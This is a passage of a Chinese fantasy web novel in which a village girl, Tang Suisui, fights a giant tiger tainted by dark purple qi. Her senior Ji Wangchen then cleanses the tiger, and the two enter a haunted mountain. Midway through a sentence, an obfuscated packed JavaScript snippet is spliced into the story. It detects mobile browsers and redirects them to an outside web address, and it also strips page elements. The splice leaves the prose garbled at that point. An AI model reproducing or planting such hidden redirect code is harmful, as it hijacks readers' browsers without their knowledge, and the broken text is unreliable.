“别别别——大夫,您先帮我爹看看吧——”一个身强力壮的男子快步上前拉住郎中,语气急促地开口:“我爹的病已经拖了三个月了。起初只是轻微的咳嗽,之前找了临镇的郎中,也开了些止咳方子,一直不见好转。上月开始,我爹他一直高热不退,甚至、甚至前几日还咳出血丝……” 郎中收拾的动作顿了顿,看向男子。男子见状马上招呼兄弟将自己的父亲抬到到郎中的面前,一个面色枯黄的老者躺在担架上,止不住地咳嗽,他眼窝深陷,骨瘦如柴。 郎中走进老者,蹲在他面前把脉。按着老者的脉搏,他紧紧地皱着眉头,脸色凝重,久久不言。男子紧张地咽了咽口水,不敢轻易出声,怕打扰郎中诊治。 郎中松开了对方的手,起身走回摊子前研磨。 男子脸色一喜,连忙追问:“怎么样,大夫,我爹他情况还好吗?他现在吃不下睡不着,一整日都在咳……” “若病情初显便去杏林堂诊治,必定药到病除;若高热初发就去杏林堂,恐怕要吃些苦头,针灸、药剂双管齐下,亦能根治。”郎中停下写药方的动作,抬头看向家属,语气平静地开口陈述。 他视线扫了眼队伍里神态各异的众人,低头继续写手上的药方子,语气中全无丝毫怜悯:“可你如今才来,病入骨髓,药石无医。我能做到的,也就是开几方安神的药剂,让病人病痛缠身时不至于太过难受。” 队伍中有些人听到郎中的话语,惊得后退两步,连滚带爬地跑开。 “咳咳咳——”老者脸色涨得通红,双目惊得瞪圆,勉强撑直身子,指着郎中断断续续地开口骂道:“……庸医!庸医!” “爹——我当初怎么都不该听你的,绑也要把你绑去杏林堂!”在老者的咳嗽声中,男子悲愤填膺,双腿一软跪在了地上,用力扇了自己几耳光,因着用力过度,整张脸都被打得红肿。 “大哥……”一旁的兄弟上前控制住男子,想说些什么却又开不了口。 姚郎中抬着手,对着半空的纸笺吹了吹,看着上面半干的墨迹:“悔之晚矣。” “该。”在一旁看完了全程的赵婶冷笑开口,生怕身旁的汤穗穗误解,马上补充道:“这郑老头啊,平日里就数他对杏林堂意见最大,远远看到了两位大夫都要绕着走——走了走了,不看了。这些人啊,早晚会有自己的报应。” 赵婶拉着汤穗穗,不再看这些人的痛心疾首的样子。 一路上,赵婶又跟汤穗穗聊了些别的,到岔路才依依不舍分别。 汤穗穗背着药篓继续往杏林堂的方向走去。杏林堂的位置在镇北,再过几个街口便出了小镇,到镇外去。 不过今日往杏林堂的比平日里要热闹上一些,药堂门口围了好些人。杏林堂有两位大夫,坐诊药堂的是较为年长的姜大夫,头发虽已花白,但精神矍铄,双目炯炯有神;另一位陶大夫二十出头,负责出诊事宜,给不能亲自来药堂看病的病患诊治。 汤穗穗背着药篓挤进去,看到排在姜大夫诊治队伍里的,有好几张方才在土地庙外的面孔。 “你、你、还有你——”汤穗穗震惊地瞪大了眼睛,从他们身边走过时还要一个个点出来,指着他们开口,“你们不是说,‘就算你死了,也不会来找女大夫’的吗?” 听到汤穗穗的问话,一个个地羞得涨红了脸,低着头不敢出声,恨不得找个地缝钻进去。 “哈哈哈哈,穗穗姑娘,这些人哪敢真的死啊!”在药堂帮工的伙计范伍一边轻扫桌上散落的药材,一边抬头扫了眼人群里的身影,嗤笑着开口:“他们啊,都是被那走方郎中吓住了,急匆匆地跑过来,气都没喘匀呢。” 方才范伍也在一旁看热闹,听到了郎中给郑老头诊治的那段。作为药堂的伙计,他看多了这些人硬生生把小病拖成大病的情况。不仅花的钱变多了,遭的罪也翻倍,何苦呢? 不过他腿脚比较快,加上抄了近路,比这些人更快上一些来到药堂。 汤穗穗背着药篓走进药堂,听着范伍的话颇为赞同的点点头。 “阿伍,慎言。”姜大夫正好结束了对面前病人的诊治,写好方子递给对方。转头瞥了眼范伍,神色严肃,厉声警告:“恶语伤人。” “是,姜大夫。”范伍自知失言,伸手拍了拍自己嘴巴,低头接过面前开好的药方抓药。 队伍里的人看到姜大夫这样的态度,更汗颜无地。有人出列对着姜大夫恭恭敬敬地磕头,说些奉承的话:“……还请大夫大人不记小人过……” “诸位不必如此。请诸位稍等片刻。容我先处理一些琐事。”听着他们的奉承姜大夫脸色未变,却因着汤穗穗的到来而挂上了笑,起身走过去,“穗穗你来了。” “姜大夫好!”汤穗穗将背上的药篓抱在怀里,迎上姜大夫。想起那些人前倨后恭的态度,她忍不住不满地压低声音开口:“那些人晾着可才好呢,谁让他们之前对姜婆婆你,和陶姐姐那么出言不逊!” 姜大夫接过她手里的药篓放在一边,喊了后堂管理药材的帮工接过。听到汤穗穗的低声抱怨,她敛了笑容,伸手弹了弹她的脑门,语气颇为严肃:“话不能这么说,医者只顾治病救人。旁人的态度与我何干?” 姜大夫自从医以来四十余载,受过冷眼与讥讽,也听过叩谢与赞美。早些年或许还会在意旁人言语,随着年事渐高,她更专注于医治之上。她想在生命结束前,尽全力医治更多的病患,也尽力将自己的医术传承下去。 “可是他们真的很过分!”汤穗穗伸手捂着自己的脑门,即使知道姜大夫的想法,她还是忍不住为对方鸣不平,有些人就不值得姜大夫全心全意地付出。 “一样的,都一样的。”姜大夫也知道汤穗穗的好心,笑着拍了拍她的手背,没有将话题继续下去,“先不聊了,我还有病人呢。” 她转身坐回自己的椅子前,专心致志地为下一个病患诊治着。 汤穗穗看着她忙碌的动作,忍不住对姜大夫说的那句“都一样的”陷入了思考。她有些不明白,为什么姜大夫可以忍下这些人之前对她的恶劣态度,并且还能不计前嫌地对待他们。 扪心自问,汤穗穗觉得自己肯定忍不下这口气。虽然明知道他们所做之事并非罪大恶极,但是心中总还是觉得膈应。 过了一会,后堂的帮工将药篓送还给汤穗穗,她还坐在椅子上看着姜大夫的动作出神。 “嗷呜——” 突然传来一声震耳欲聋的虎啸声,汤穗穗猛地回神,逆着人流跳到药堂之外。周围的人也听到了虎啸,慌张地四处观望着,甚至有人惊恐地尖叫着。姜大夫当机立断,将附近露天摊铺和行人都招呼到自己的药堂中。 一头猛虎从远处的街口冲破砖瓦扑了出来,虎啸震天。这猛虎比汤穗穗寻常山间所见还要大上一圈,光四脚站立时都能与屋檐平齐。但猛虎步伐有些不稳,身形左摇右摆。 看到面前有人影,猛虎张口咆哮着警告——汤穗穗记得它,它的左眼有一道愈合后留下的疤痕。她常在深山里见过它,不过现在的它身上似乎被若有似无的暗紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424770|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色气息笼罩着。 是神秘的紫气! 汤穗穗眼前一亮,她已经好久没有感受到这样的气息,不知为何她竟然觉得有些兴奋。有了灵气的滋养,她甚至不需要闭眼就能看到猛虎身上浓郁的气流。 她忍不住猜测,或许这样的气流就是姬忘尘经常出去的原因。 在一旁的众人不知汤穗穗心中所想,以为她是被突然出现的猛虎吓傻了,大声地喊叫着她的名字,想让她也到药堂中避难。寻常波澜不惊的姜大夫此刻满脸焦急,不停地喊着她的名字。 汤穗穗看着面前的血盘大口,嘴角勾起一个自信的笑容,头也不回地开口:“多谢了。” 她从身上不起眼的小包里摸出一柄木剑和一张符咒,调整自己的呼吸,冷静地开口:“天地玄宗,借吾雷霆,以镇妖魔。” 她一边念咒语一边将符箓拍在自己的木剑上,这是秦无纪唯一教给她的咒语与用法,让她危急时候能够用得上。 话音刚落,符箓无风自散,化作一层金光镀在木剑表面。 即使这般情景汤穗穗也是初见,但她只惊讶了一瞬,马上移开眼神,全神贯注地盯着面前的猛虎。猛虎踉踉跄跄的脚步撞破了不少街市百姓支起来的摊子,汤穗穗心疼地皱眉,这都是百姓们耗费了不少功夫搭建的。 不能再让猛虎继续破坏下去了! 汤穗穗心念一动,想把猛虎引到镇外,避免猛虎继续在镇上作乱。 于是她快跑借力跃起到猛虎身上,以灵巧的身姿一边避开猛虎的攻击,同时用木剑按着记忆中的剑招捅到它的身上,吸引猛虎的注意,让她停留在自己身上。 那些原本在药堂躲避的、平时叫嚣着“女子不如男”的男子只觉得无地自容,鼓起勇气主动抄起工具,也跑来汤穗穗的身边,为她提供一臂之力。 他们十余人在汤穗穗的指挥下有序配合,几番缠斗下来,猛虎在汤穗穗的引导下,距离街市越来越远,顺利又到了镇外开阔的地方。 汤穗穗还发现,在自己的攻击下,它身上的暗紫色气息散了不少——应该是符箓附在木剑上起了作用。因此,汤穗穗信心倍增。 猛虎朝汤穗穗一声咆哮,眼睛变得血红,死死地盯着面前的人,脸上凶狠的神色几乎要将她生吞。 本来就对猛虎胆怯的百姓听到震耳欲聋的虎啸,忍不住心跳加速,后背被汗水浸湿,本能地后退了几步。但他们看到汤穗穗还站在原地,彼此对视定了定神,紧握手中的工具,说什么也不能抛下小姑娘自己跑走。 不知他们心中所想的汤穗穗依旧紧握住手中的木剑,盯着它的一举一动,不敢有丝毫懈怠。即使此时她已经感觉自己的手臂酸疼异常,估计撑不了多久。 不过她也庆幸自己每天早上的晨练没有敷衍了事,不然一早就成为猛虎的盘中餐。 她不觉得仅凭自己这三脚猫功夫就能将猛虎解决,但她坚信,山上的师姐和秦姨一定关注着这股神秘的紫色气息。 她希望可以凭借自己的能力为这个好不容易恢复生机的村镇、给生活在这里的百姓们拖延些时间。 汤穗穗希望自己是有用的。 猛虎在原地转圈踱步,也在寻找着攻击的机会。待猛虎身形一动,盯着汤穗穗猛地扑过来,她用力挥剑挡下虎爪的攻势,一连后退了好几步才勉强稳住身形。她握剑的手臂被震得发麻,止不住发抖,她感觉自己的力气所剩无几,几乎要到极限。 “小心——” 汤穗穗听到有人惊呼,她猛地抬头往声音传来的地方看去,瞳孔一缩。 被提醒的人摔坐在地,双腿像被灌上了铅,动弹不得,仰着头眼睁睁地看着虎爪从天而降,下意识地闭上了眼。 5. 是累赘吗? 说时迟那时快,眼看着虎爪就要朝那人的脑袋拍下,一柄环刃自远处飞来。猛虎听到利刃破空的声音,瞬间收回了爪子,往后大跳躲避。与此同时,一道利落的身影拎起地上那人的衣领,拉到离猛虎较远的地方,顺手扔到人堆里——被他的兄弟们接住。 她轻盈地转了个身,伸手抓住回旋的环刃,站到了所有人的前面,与蓄势待发的猛虎对视着。她身穿月白衣袍,一头乌发被束起,再用发冠定住,未束起乌发顺着她的动作从空中垂落在后背;手中锋利的环刃银光闪闪,让人望而生畏。 她光是站在那里,就已经给人极强的安全感。 这个突然出现的神秘人物让汤穗穗眼睛一亮,正是她等待许久的姬忘尘。 “诸位辛苦,此后事宜就请交于我。”姬忘尘全神贯注地看着面前猛虎的动作,礼貌性的话语暗示百姓们可以就此离开。 来帮忙的百姓也看出姬忘尘的不寻常,听话地后退到更远的位置,将场地留给姬忘尘。但他们并没有因此离开,依然守候在附近,准备在必要时上前帮忙。 汤穗穗了然他们的好意,但她对姬忘尘十分有信心。她认为,以自家师姐的身法和本领,完全不需要任何人帮忙就是了。 姬忘尘将手中环刃缩小成玉缺大小,顺手挂在了腰间。她从怀中掏出一张符箓后闭眼双手掐诀,口中念念有词。 在她动作的同时,猛虎双目赤红,咆哮着朝姬忘尘扑来。姬忘尘霎时睁开双眼,灵活地在猛虎的四周借力穿梭着,几个动作间翻身上虎背。猛虎不悦地晃动着身形,妄想把姬忘尘摔下。 姬忘尘一手紧紧地抓着虎背的皮毛,另一手将方才的符箓,往猛虎身上用力一拍,口中还念念有词。因着距离太远,汤穗穗听不太清她口中所念,只见她手中的符箓化作千百道金光成巨网状将猛虎捆绑。 猛虎在金光的束缚下不断地挣扎着,汤穗穗鬼使神差地闭眼,她“看到”方才附在猛虎身上的紫气在金光的笼罩下汇聚一团,最终凝聚成鸡蛋大小。 她猛地睁开眼,已经看不到的暗紫色气息,而那道金光巨网化作一张巴掌大小的网袋飞到姬忘尘的手中。猛虎脚步虚浮,没走两步就倒地不起,庞大的身躯只剩轻微的起伏。 姬忘尘早已灵巧地跳下虎背,站在猛虎的身边。姬忘尘借着如山的猛虎身形做遮挡,松开一直托着金网的左手,金网稳稳地飘浮在半空中。她结印念诀,金网旋转着越缩越小,将那道紫色气团越束约紧,最后暗紫色气团在金光的包围下不断褪色。 随着姬忘尘最后的动作,暗紫色气团彻底化作淡青色的气流,从金网缝隙逸散后消失不见。当最后的气流完全逸散,束缚金网也化为褪色的符纸,清风一吹,化成粉末消散在空中。 姬忘尘选的位置很特殊,既能让旁观的百姓能看到她的身影,借着猛虎的遮挡也不会发现她的动作。 等一切做完,姬忘尘重新睁开眼,上前走到虎头的位置,凝望着猛虎许久。还是没忍住伸手,顺着猛虎的皮毛的纹路轻轻地摸了摸。感知到她的动作,猛虎艰难地掀起眼皮看了一眼,又重新合上。它的眼睛不再赤红,恢复到寻常的黑色。 好在它的身体仍有起伏,让姬忘尘稍稍放下心。 “没事了。”姬忘尘看着它轻声开口。 旁观的众人虽然听不见姬忘尘的声音,但是看着猛虎倒下的身形和姬忘尘的动作,猜测对方已经将猛虎驯服。 他们隔得有些远,却还是忍不住开口:“神仙大人,现在是没事了吗?” “嗯,已经没事了,诸位放心。”姬忘尘闻言转头看向仍等在不远处的百姓,“等它过一会身体好些了,我就会带它回山,无须担心。” “方才是……?”百姓们看着卧在一旁全无攻击性的猛虎,大着胆子上前问道。 “抱歉,方才它身上沾了些不干净的东西,我已经清理干净了。”姬忘尘简单地解释,“山上是它的家,若非疼痛难耐,它也不会下山求助,还请见谅。” “不会不会。”百姓连连摆手,表明自己的态度:“它始终是山上的生灵,多谢神仙出手相助。” 百姓从姬忘尘的解释中得知,它竟是是来求助的,忍不住露出哭笑不得的神情。百姓们对猛虎的态度由惧怕转为同情,谁人不曾有疼痛难耐之时,不过他们还能寻求郎中诊治,而这些生灵只能自己生忍着扛过去。 如此想来,倒是有些可怜。 其实百姓们并非第一次见到这头猛虎,住在这里的人都知道山上有一头生有灵智的猛虎。猎户时常会在山中遇到,只是这头猛虎非但不会动手,还会佯装未见,摇着尾巴转身离开。他们都知道,如果猛虎对他们有敌意,无论是猎户还是山下的村镇,早被闹得不得安稳了。 “只是它造成的损坏,还得劳烦诸位修缮。”姬忘尘扫了眼猛虎撞出的破损,叹了口气。 为首开口的百姓闻言面露难色,还左右看了看周围人的脸色,也是如出一辙的神情。 “抱歉。”姬忘尘也知道这件事有些为难,偏头看了看稍微恢复了些精神的猛虎。猛虎似乎能听懂彼此之间的交流,无助地看向姬忘尘,姬忘尘摸了摸它身上干燥的皮毛,以作宽慰。 姬忘尘怀里倒是还有一些钱,但是在这个村镇里,钱财对百姓来说或许还比不上实际的物件有价值。 听闻猛虎被控制,街上陆陆续续地涌来更多的百姓。听闻需要修缮破损之处,纷纷开口揽下了这桩令人为难的麻烦事。姬忘尘想了想,还是从怀里掏出了一块小银稞子,递给了最早应声的百姓,用作她提供的修缮费用。 说话的功夫,本来还虚弱倒地的猛虎清醒过来,体力也恢复了些许。它端正着身形趴在地上,慵懒地打个哈欠,将脑袋放在前肢,悠闲的神态反而更像午后在庭院懒洋洋晒太阳的大号狸奴,全无方才的攻击性。 百姓们看它只是坐在原地,偶尔晃了晃尾巴,视线一错不错地盯着人群中的姬忘尘,原本惴惴不安的心也稍稍放下。 姬忘尘也发现它状态好转,不再多言,拱手向百姓们辞别。她的视线不着痕迹地扫视了一圈,没发现刚刚藏在人群末尾的汤穗穗。 随着她跃上虎背坐稳,猛虎站直了身体,慢悠悠地载着姬忘尘,往村镇不远处的山上走去。 后背贴在墙壁的汤穗穗鬼鬼祟祟地探头,看着姬忘尘骑虎离开的背影,心上一松,闭眼长长地呼了口气。 片刻后睁眼,抬头看着湛蓝的天空,心中久久不能平静。 即使姬忘尘掩藏得再好,她的动作还是被汤穗穗发现。她亲眼看着在师姐的操作下,那团紫色的气团如何变作灵气又逸散。 本来刚看到师姐的时候,她想着等师姐击退猛虎之后,再上前去找她邀功,证明自己这些年的训练是有效果的。可她看到师姐的动作之后,她却因此萌生了退意。 汤穗穗低下头,看着手里还没收回的木剑、别在腰间的乾坤袋,算上方才使用的符箓,这几样东西都是秦姨交给她的。别看这个袋子只有巴掌大小,里面却是深不见底,连她手里的木剑都可以轻松纳下。 或许她早就意识到了,只是她一直不肯承认——整个世界并非是她如今所看到的那样简单,或许和灵气、紫气有很大的关联。 ——“还不到时候。” 脑海里闪现出得到这句话,师姐和秦姨的声音重合时,汤穗穗只觉得自己十分格格不入。她从来就没有了解过师姐和秦姨,不知道她们究竟是谁、不知道她们来自哪里、更不知道她们要做的事情究竟是什么。 即使日日住在一起,她们却形同陌路。 汤穗穗伸手抓了抓自己的头发,顺着墙壁滑坐在地上,厚重的愧疚揪着她的心脏,她紧紧地咬着自己的嘴唇。她头一回觉得,说不定因为自己的存在,而影响了她们本应离开的脚步。 她又一次成为累赘了吗? 但汤穗穗很快调整过来,她知道现在不是陷在情绪里的时候,索性拍了拍脸起 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汤穗穗想起方才秦姨在山上说的“选择”,她直觉认为秦姨让她和师姐走的这一趟很关键。思考片刻后,她连声开口答应了这件事。还上前抱住姬忘尘的手臂,生怕对方拒绝,忍不住放柔声音,讨好着开口:“师姐你别把我送回山上,我想跟你待在一块……” 圆盘那头的秦无纪也听到了汤穗穗的声音,佯装生气地开口:“哎哎哎,汤穗穗,我还在呢——” “我知道秦姨对我最好了,还有师姐也是……”汤穗穗一边抱着姬忘尘的手臂,一边对圆盘那头的人使尽浑身解数。圆盘那边的秦无纪也很吃她这一套,很快就被她哄好了。 “可是……”沉默听着两人互动的姬忘尘想到了什么,想开口拒绝,却被另一头的人打断。 “忘尘,我知道你在担心什么,但你不还是一切如常吗?”秦无纪好像先一步知道姬忘尘要说的话,语气变得正经起来,“在那一切成真之前,你与她人无异。我不希望你被子虚乌有的事情束缚住。” 姬忘尘再度陷入沉默,另一只手垂在身侧紧握,从气息感受她如今的心境十分不平静。汤穗穗看向身旁人沉默的侧脸,即使听不懂她们话语中的内涵,但也能听出这不是什么好事。 圆盘对面的人顿了顿,好似想到了什么,语气更加激动:“更何况,传言就一定会成真吗?就不能是他故意陷害你的吗?——零零总总,有太多可以辩驳的点了……” 沉思的姬忘尘听到秦无纪的话后,欲言又止。旁听的汤穗穗没忍住笑了出声:“噗嗤——” 秦无纪听到了汤穗穗的笑声也消了气,声音染上了笑意:“总之,那些事情你不必一直放在心上。我当时把你带走,就已经做好了打算。忘尘,顺其自然吧,你只管做你自己就好。” “……好。”姬忘尘低声应下,身侧的手缓缓松开,气息也调匀到寻常的状态。 “这就对了嘛……”秦无纪的声音也变回最开始的状态,忍不住跟汤穗穗打趣:“穗穗啊,师姐就交给你了,你可得看好她!” “好嘞!”汤穗穗也很给面子,活力十足地回复。 姬忘尘听着两人的对话无奈闭眼。 汤穗穗上山之前,秦无纪和姬忘尘这对正儿八经的师徒交流除了正事之外,几乎零沟通。但汤穗穗不一样,不管什么大事小事、趣事琐事,都会找到乐子,兴冲冲地和秦无纪分享,关系也就更亲近自然。 秦无纪不想耽误姬忘尘的行程,打趣了几句就结束了通讯。姬忘尘将圆盘收回自己随身的袋子中,顺手塞回衣襟内袋,跟身边的汤穗穗开口:“走吧。” 即使汤穗穗不知道自己要跟着师姐去哪里,但她兴致不减,抱着姬忘尘的手臂:“好耶!” 姬忘尘还不习惯和她人如此亲近,本想将自己的手臂抽离。可当她转头对上汤穗穗亮晶晶的眼眸时,还是默许了对方的动作。 6. 岔路 日头高悬,汤穗穗心里堵着一团乱麻,抱着姬忘尘的手臂。她小心翼翼地抬头看一眼师姐,沉默地跟着她穿梭在巷子里。对于她们要去的地方,既然姬忘尘没有主动开口提及这件事,即使自己再好奇也不会发问,免得师姐嫌弃自己多嘴而转变想法。 走着走着,脑海中突然冒起来的疑问也随之浮现,她下意识地将自己的手臂抽离对方的臂弯。 ……等等,我现在是在拖慢师姐的进度吗? 当得知师姐会带着自己一起去的时候,她无疑是很高兴的。可是汤穗穗不希望,因为她的存在而影响了师姐原本的行动路线,甚至给对方拖后腿。 姬忘尘感觉手臂一空,顺着对方手臂抽离的动作侧身,看着她不明所以:“嗯?” “……师姐,”汤穗穗犹豫了许久,还是决定将困扰心中的问题问了出来,“我是你们的累赘吗?” 姬忘尘听到对方的发问有些意外,脸上浮现明显的疑问神情,不知道对方为什么会问出这样的问题。 汤穗穗紧紧地捏着自己的手,脸上还强装镇定地开口,音量却不自觉地降低下去:“如果是我耽误师姐进度的话,师姐完全不用带上我的……” 汤穗穗很纠结,她想和师姐在一起,但不代表她想成为对方的负担。 “没有。你一直都不是累赘。”姬忘尘收回眼神,打断了她的低语,头也不回地说:“只是有些东西,现在还不能明说。” “真的吗!”汤穗穗眼睛放亮,猛地抬头,加快脚步上前扑在师姐的手臂上,心中还有一些不确定,“师姐你不是为了哄我吧?” 姬忘尘的脚步顿了顿,很快又恢复了正常。 汤穗穗听到师姐的声音有些低,也很轻:“……如果你真是累赘的话,师傅不会留你那么久的。” 她马上想到是刚才秦姨提到的内容,准备接着追问师姐的时候,看到师姐站定在面前。汤穗穗这才望向四周,在她出神的功夫,师姐已经带着她拐到了附近的另一座山林里。 还没等她开口,师姐招了招手,前方的树丛中走出一个庞然大物,汤穗穗认出正是方才那头猛虎。它出现后再次乖巧地趴卧在地上,等待着姬忘尘的动作。巨大的虎尾扫了扫地,老虎歪头看着汤穗穗,好像也认出了她,黝黑的眼珠子不知道在想什么。 汤穗穗看着师姐走近老虎身边,伸手顺着它身上的皮毛,侧着身看向自己发问:“恐高吗?” 看到老虎的那一刻,手臂酸麻的感觉又浮了起来,汤穗穗调整着自己的呼吸,压下狂跳的心脏。看着面前的猛虎,她刚才冒出来的问题也被吓没了,吞吞吐吐地开口:“……很、很远吗?” “这样比较方便,”姬忘尘想了想,给出另一个方案,“如果你不习惯,也可以换个方式。” 猛虎在姬忘尘的掌下十分乖巧,歪着头蹭了蹭对方的掌心,舒服地眯着眼,发出呼噜声。这种姿态倒是让汤穗穗稍微放下心来,她犹豫了一会,挪着步子走到姬忘尘的身边,抓着师姐的衣袖下定了决心:“我没试过,但是我应该可以的。” “好。”姬忘尘点点头,灵巧一跃跳上了虎背,微微弯腰将手伸到汤穗穗面前:“拉住我。” 汤穗穗听话照做,被姬忘尘轻松拉上去,坐在了对方身后。等两人都坐稳了之后,老虎慢悠悠地起身。 在猛虎跑动之前,姬忘尘也没忘了开口提醒:“抓稳了。” 汤穗穗刚开始只是抓着师姐后腰的衣服,想保持一些距离感,不想让自己的动作太莽撞而惹得师姐反感。 但很快,她完全抛下了这些顾虑,闭着眼用力抱着面前的身躯,还将脸贴紧了对方的后背。 身下的猛虎在山林间跑动的速度远超汤穗穗的意料,带起的风刮得她的脸生疼。她只能尽可能贴着姬忘尘的后背,免得自己真的被甩出去。 汤穗穗闭着眼睛,五官都蹙在一起,听着着呼啸而过的风声。刚刚她才微微张嘴,就马上被灌进一嘴风。 周围的风声好似平缓了一些,汤穗穗缓缓睁眼,轻轻地呼出憋在心里的那口气。即使她的心脏还是狂跳不已,但她觉得自己已经好多了。 “师姐,刚才你说‘换个方式’是指什么啊?”汤穗穗还是有些好奇,师姐刚才说的“另一个方式”是什么。 应该不会比现在更惨……的吧? “很简单。”姬忘尘的声音依旧平静,顺着风声吹到汤穗穗的耳朵里:“我把你打晕,等到了地方再把你弄醒,你就不会怕了。” “嗯?” “怎么了?”姬忘尘似乎听出了汤穗穗的疑惑,主动补充,“我试过的,很好用。” ——等等师姐,听起来你怎么这么熟练啊?! 汤穗穗倒吸了一口气,感受已经降下来的速度,感觉微妙的庆幸。 其实清醒地骑在虎背上,也是一种别致的体验,不是吗? 在汤穗穗头脑风暴的时候,她们身下的老虎也渐渐慢下了脚步,最终停在某处后趴卧在地上。老虎把她们放在这里,朝小道咆哮着,也不再往前。姬忘尘抱着汤穗穗的腰跳落地面,看着老虎开口:“就是这里吗?” 汤穗穗趁机打量着周围的环境,她们面前有一座不算高的山丘,入口处两排杂草几乎比人还高,几乎挡住了上山的道路。视线往山上扫去,树木郁郁葱葱,俨然一副生机勃勃的景象。 趁师姐不注意,汤穗穗闭眼调动体内的灵力,整座山竟然都被暗紫色的气息笼罩着——和当时依附在老虎身上的气息如出一辙。然而只是这轻轻扫的一眼,什么都没看清,她都觉得头痛欲裂。 她马上张开眼,不敢再去窥探其中的秘密。 汤穗穗看到面前老虎听到姬忘尘的问话后,脸上露出了为难的表情,它的视线放到了自己身上,欲言又止。 姬忘尘沿着它的视线看向汤穗穗,意识到现在的状况和从前有些不同,不再强求:“那你先回去吧,剩下的交给我。” 老虎依依不舍地用脑袋拱了拱姬忘尘,才转身一步三回头地从另一个方向离开。 汤穗穗站在原地看着一人一虎互动,眨了眨眼睛,乖巧地等在原地。既然师姐说了她不是累赘,那她相信师姐带自己来肯定原因的,她只需要等师姐的安排就好。 姬忘尘从自己的怀中找到一张符纸折成三角形状,顺手塞到汤穗穗的腰封里。汤穗穗还没反应过来,姬忘尘伸手把腰边的环状玉佩取下,玉佩在她的手中瞬间变大化成一柄环刃。 汤穗穗看着环刃的变化,惊讶得瞪大了眼睛:“这……” 姬忘尘没有在意汤穗穗的反应,率先走向那条被野草挡住的入山小道,话语间示意汤穗穗跟上:“走吧,跟紧我。” “哦哦,来了。”汤穗穗碎步跟上姬忘尘,也从乾坤袋中找出自己的木剑做防身用。 明明是大天白日,这山道却被周围高大茂盛的树木将阳光尽数遮蔽。只有在风动时,天光从枝叶缝隙中投下光影,在小道上落下一块块光斑。 即使汤穗穗在山上长大,依旧觉得这昏暗的山路有些瘆得慌。尤其这种半人高野草、藤蔓做遮挡的小路,总是担心四周会有什么冷不丁地扑出来。走在前面的姬忘尘见惯了这样的场合,熟练地将两侧的野草藤蔓压下,沉着冷静地沿着小路往更深处走去。 汤穗穗不知道她们又走了多久,只觉得越来越寂静,四周除了她们的脚步声,就只剩下风吹过叶子发出的“沙沙”声。越往里走,光线越被遮蔽得完全,几乎像夜晚般昏暗,让人看不清前路。姬忘尘从怀中掏出火折 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纸鹤摇摇摆摆扇动着翅膀,先是选了其中一条路,然后又折回来选了另一条路,如此反复几遍,最后飞回她们面前,拍着翅膀不再行动。 姬忘尘见状又折了另一只纸鹤,不过这次她用环刃划破了自己的指尖,鲜血滴在纸鹤上。纸鹤镀上一层朱红色的光芒,悬在半空中,也和刚才的纸鹤一样,摇摇摆摆地移动着。 这只纸鹤飞了两圈,最后选定了靠右的岔路后,没有再更改方向。 汤穗穗看着纸鹤的动作,疑惑着开口:“……这是什么意思?” “我们要分头走了。”姬忘尘转头,看向这个只比自己肩头高上一些的小姑娘,“怕吗?” “不怕。”汤穗穗拿着火折子,抬头和师姐对视,斩钉截铁地开口。 “这不是逞强的时候,路上所遇到的一切,你只能独自面对。”姬忘尘强调着,再一次确认,“害怕的话,就在这里等我,我保证你平安无虞。” “……如果我一个人走的话,会遇到什么危险吗?比如……刚才的猛虎?”汤穗穗知道姬忘尘的好心提醒,可是她心中依旧有一股“试一试”的冲动。 她无比信任师姐的判断,既然对方提议分头行动,那所面对的就一定会在自己可以解决的范围内。更何况在进山之前,师姐就已经往自己的衣服里塞了护身符。 “算不上危险,只是途中所遇会超出你的认知,还会有些……波折。”姬忘尘想了想,给出中肯的答案,“想好了吗?” “嗯!想好了,我要试试!”汤穗穗用力地点了点头,既然如此,那她不管怎样都要去尝试一下。 师姐伸手理了理汤穗穗的衣服,从乾坤袋拿出一个两指宽的玉牌递给她:“这块玉牌可以保护你一个时辰。当你承受不住时,打碎它等在原地,我就会来找你。” 汤穗穗接过师姐递来的玉牌,掌心冰凉的触感让她忍不住低头端详,脑海里对上曾经母亲留下的那一块。只是年代久远,她的记忆不再清晰,而那块玉牌如今又在秦姨手里,一时之间很难对比。 当她再抬头时,姬忘尘已经跟着染血的纸鹤往岔路深处走去,她的脚步很快,身影马上被黑暗吞没,消失在小路里。 面前扇动翅膀的纸鹤颇有灵性地咬着汤穗穗肩膀的衣服,示意她往另一条小路走去。汤穗穗收起手中的玉牌,小心翼翼地放在胸前的内侧口袋。 周围那股让她觉得不舒服的气息还存在着,但已经没有刚才的难受。她手上还拿着师姐的火折子,跳动的火光给她增加了不少信心。 她闭上眼睛做了几个深呼吸,调整好自己的状态,又拆了一张符箓贴在木剑上,抬步跟着纸鹤往另一条岔路深处走去。 7. 夸奖 纸鹤在她前方不远指引着方向,汤穗穗小心翼翼地往前。虽然四周是干枯的树木,也没有过高的野草遮挡视线,但依旧被昏暗笼罩,仅凭手里的火折子才能看清一些。 她对姬忘尘离开前说的话非但没有恐惧,反而有些好奇。她迫不及待想知道,“远超认知的存在”究竟是什么东西。 不知道走了有多久,纸鹤停在了原地。指路的纸鹤已经完成了它的指责,轻飘飘地落在地上,上面的颜色也肉眼可见寡淡了不少。 道路昏暗看不见前方,汤穗穗举着火折子,只能看到在不远处干枯的树下有几团若隐若现的暗紫色影子。 还没等汤穗穗看清,几团影子凝聚在一起,化身成四足怪物,猛地朝她扑来。 怪物来势汹汹,汤穗穗下意识吹灭火折子,灵巧翻滚到另一边避开了对方的进攻。 汤穗穗屏气凝神,借着微弱的天光她将面前的怪物看得清晰:头上长角、似狼非狼,并不像寻常看到的那些动物一样有实体。怪物的身体更像是紫泥捏造,还随着它的动作不断翻涌着。有些像汤穗穗曾经在田地里见到的烂泥巴,光看着就有一股黏腻的不适感。 没有了火光,汤穗穗发现这团怪物似乎也失去了视线,它锁定不到自己所在的位置。怪物还在梭巡着她的身影,她只能站在一旁的角落里大气都不敢喘。 